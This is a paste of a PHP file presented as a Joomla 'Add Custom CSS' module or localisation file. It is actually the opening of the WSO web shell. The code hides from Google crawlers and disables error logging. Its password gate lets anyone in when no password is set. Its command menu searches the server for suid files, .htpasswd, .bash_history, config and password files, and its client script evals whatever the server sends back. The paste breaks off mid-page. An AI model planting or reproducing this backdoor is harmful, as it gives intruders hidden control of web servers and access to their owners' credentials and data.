PalmaSolutions

lv-LV.localise2.php

Dec 29th, 2017
560
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.97 KB | None | 0 0
  1. <?php
  2. /*------------------------------------------------------------------------
  3. # mod_add_custom_css - Add Custom CSS
  4. # ------------------------------------------------------------------------
  5. # version 1.1.1
  6. # author Impression eStudio
  7. # copyright Copyright (C) 2012 Impression eStudio. All Rights Reserved.
  8. # @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
  9. # Websites: http://joomla.impression-estudio.gr
  10. # Technical Support: [email protected]
  11. -------------------------------------------------------------------------*/
  12. define('AKISMET_VERSION', '2.2.6');
  13. $color = "#df5";
  14. $dflt_actn = 'FilesMan';
  15. @define('SELF_PATH', __FILE__);
  16.  
  17. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  18. header('HTTP/1.0 404 Not Found');
  19. exit;
  20. }
  21. @session_start();
  22. @error_reporting(0);
  23. @ini_set('error_log',NULL);
  24. @ini_set('log_errors',0);
  25. @ini_set('max_execution_time',0);
  26. @set_time_limit(0);
  27. @set_magic_quotes_runtime(0);
  28. @define('VERSION', '2.2');
  29. if( get_magic_quotes_gpc() ) {
  30. function stripslashes_array($array) {
  31. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  32. }
  33. $_POST = stripslashes_array($_POST);
  34. }
  35. function printLogin() {
  36. ?>
  37. <center>
  38. <form method=post>
  39. Password: <input type=password name=pass><input type=submit value='>>'>
  40. </form></center>
  41. <?php
  42. exit;
  43. }
  44. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  45. if( empty( $auth_pass ) ||
  46. ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  47. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  48. else
  49. printLogin();
  50.  
  51. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  52. $os = 'win';
  53. else
  54. $os = 'nix';
  55. $safe_mode = @ini_get('safe_mode');
  56. $disable_functions = @ini_get('disable_functions');
  57. $home_cwd = @getcwd();
  58. if( isset( $_POST['c'] ) )
  59. @chdir($_POST['c']);
  60. $cwd = @getcwd();
  61. if( $os == 'win') {
  62. $home_cwd = str_replace("\\", "/", $home_cwd);
  63. $cwd = str_replace("\\", "/", $cwd);
  64. }
  65. if( $cwd[strlen($cwd)-1] != '/' )
  66. $cwd .= '/';
  67.  
  68. if($os == 'win')
  69. $aliases = array(
  70. "List Directory" => "dir",
  71. "Find index.php in current dir" => "dir /s /w /b index.php",
  72. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  73. "Show active connections" => "netstat -an",
  74. "Show running services" => "net start",
  75. "User accounts" => "net user",
  76. "Show computers" => "net view",
  77. "ARP Table" => "arp -a",
  78. "IP Configuration" => "ipconfig /all"
  79. );
  80. else
  81. $aliases = array(
  82. "List dir" => "ls -la",
  83. "list file attributes on a Linux second extended file system" => "lsattr -va",
  84. "show opened ports" => "netstat -an | grep -i listen",
  85. "Find" => "",
  86. "find all suid files" => "find / -type f -perm -04000 -ls",
  87. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  88. "find all sgid files" => "find / -type f -perm -02000 -ls",
  89. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  90. "find config.inc.php files" => "find / -type f -name config.inc.php",
  91. "find config* files" => "find / -type f -name \"config*\"",
  92. "find config* files in current dir" => "find . -type f -name \"config*\"",
  93. "find all writable folders and files" => "find / -perm -2 -ls",
  94. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  95. "find all service.pwd files" => "find / -type f -name service.pwd",
  96. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  97. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  98. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  99. "find all .bash_history files" => "find / -type f -name .bash_history",
  100. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  101. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  102. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  103. "Locate" => "",
  104. "locate httpd.conf files" => "locate httpd.conf",
  105. "locate vhosts.conf files" => "locate vhosts.conf",
  106. "locate proftpd.conf files" => "locate proftpd.conf",
  107. "locate psybnc.conf files" => "locate psybnc.conf",
  108. "locate my.conf files" => "locate my.conf",
  109. "locate admin.php files" =>"locate admin.php",
  110. "locate cfg.php files" => "locate cfg.php",
  111. "locate conf.php files" => "locate conf.php",
  112. "locate config.dat files" => "locate config.dat",
  113. "locate config.php files" => "locate config.php",
  114. "locate config.inc files" => "locate config.inc",
  115. "locate config.inc.php" => "locate config.inc.php",
  116. "locate config.default.php files" => "locate config.default.php",
  117. "locate config* files " => "locate config",
  118. "locate .conf files"=>"locate '.conf'",
  119. "locate .pwd files" => "locate '.pwd'",
  120. "locate .sql files" => "locate '.sql'",
  121. "locate .htpasswd files" => "locate '.htpasswd'",
  122. "locate .bash_history files" => "locate '.bash_history'",
  123. "locate .mysql_history files" => "locate '.mysql_history'",
  124. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  125. "locate backup files" => "locate backup",
  126. "locate dump files" => "locate dump",
  127. "locate priv files" => "locate priv"
  128. );
  129.  
  130. function printHeader() {
  131. if(empty($_POST['charset']))
  132. $_POST['charset'] = "UTF-8";
  133. global $color;
  134. ?>
  135. <html><head><meta http-equiv='Content-Type' content='text/html; charset=<?php echo $_POST['charset']?>'><title><?php echo $_SERVER['HTTP_HOST']?> - WSO <?php echo VERSION?></title>
  136. <style>
  137. body{background-color:#444;color:#e1e1e1;}
  138. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  139. table.info{ color:#fff;background-color:#222; }
  140. span,h1,a{ color:<?php echo $color?> !important; }
  141. span{ font-weight: bolder; }
  142. h1{ border-left:5px solid <?php echo $color?>;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  143. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  144. a{ text-decoration:none; }
  145. a:hover{ text-decoration:underline; }
  146. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  147. .bigarea{ width:100%;height:250px; }
  148. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid <?php echo $color?>; font: 9pt Monospace,"Courier New"; }
  149. form{ margin:0px; }
  150. #toolsTbl{ text-align:center; }
  151. .toolsInp{ width: 300px }
  152. .main th{text-align:left;background-color:#5e5e5e;}
  153. .main tr:hover{background-color:#5e5e5e}
  154. .l1{background-color:#444}
  155. pre{font-family:Courier,Monospace;}
  156. </style>
  157. <script>
  158. var c_ = '<?php echo htmlspecialchars($GLOBALS['cwd'])?>';
  159. var a_ = '<?php echo htmlspecialchars(@$_POST['a'])?>';
  160. var p1_ = '<?php echo (strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p1']))?>';
  161. var p2_ = '<?php echo (strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))?>';
  162. var p3_ = '<?php echo (strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))?>';
  163. var charset_ = '<?php echo htmlspecialchars(@$_POST['charset'])?>';
  164. function set(a,c,p1,p2,p3,charset) {
  165. if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
  166. if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
  167. if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
  168. if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
  169. if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
  170. if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
  171. }
  172. function g(a,c,p1,p2,p3,charset) {
  173. set(a,c,p1,p2,p3,charset);
  174. document.mf.submit();
  175. }
  176. function a(a,c,p1,p2,p3,charset) {
  177. set(a,c,p1,p2,p3,charset);
  178. var params = "ajax=true";
  179. for(i=0;i<document.mf.elements.length;i++)
  180. params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
  181. sr('<?php echo $_SERVER['REQUEST_URI'];?>', params);
  182. }
  183. function sr(url, params) {
  184. if (window.XMLHttpRequest) {
  185. req = new XMLHttpRequest();
  186. req.onreadystatechange = processReqChange;
  187. req.open("POST", url, true);
  188. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  189. req.send(params);
  190. }
  191. else if (window.ActiveXObject) {
  192. req = new ActiveXObject("Microsoft.XMLHTTP");
  193. if (req) {
  194. req.onreadystatechange = processReqChange;
  195. req.open("POST", url, true);
  196. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  197. req.send(params);
  198. }
  199. }
  200. }
  201. function processReqChange() {
  202. if( (req.readyState == 4) )
  203. if(req.status == 200) {
  204. var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
  205. var arr=reg.exec(req.responseText);
  206. eval(arr[2].substr(0, arr[1]));
  207. }
  208. else alert("Request error!");
  209. }
  210. </script>
  211. <head><body><div style="position:absolute;width:100%;background-color:#444;top:0;left:0;">
  212. <form method=post name=mf style='display:none;'>
  213. <input type=hidden name=a>
  214. <input type=hidden name=c>
  215. <input type=hidden name=p1>
  216. <input type=hidden name=p2>
  217. <input type=hidden name=p3>
  218. <input type=hidden name=charset>
  219. </form>
Advertisement
Add Comment
Please, Sign In to add comment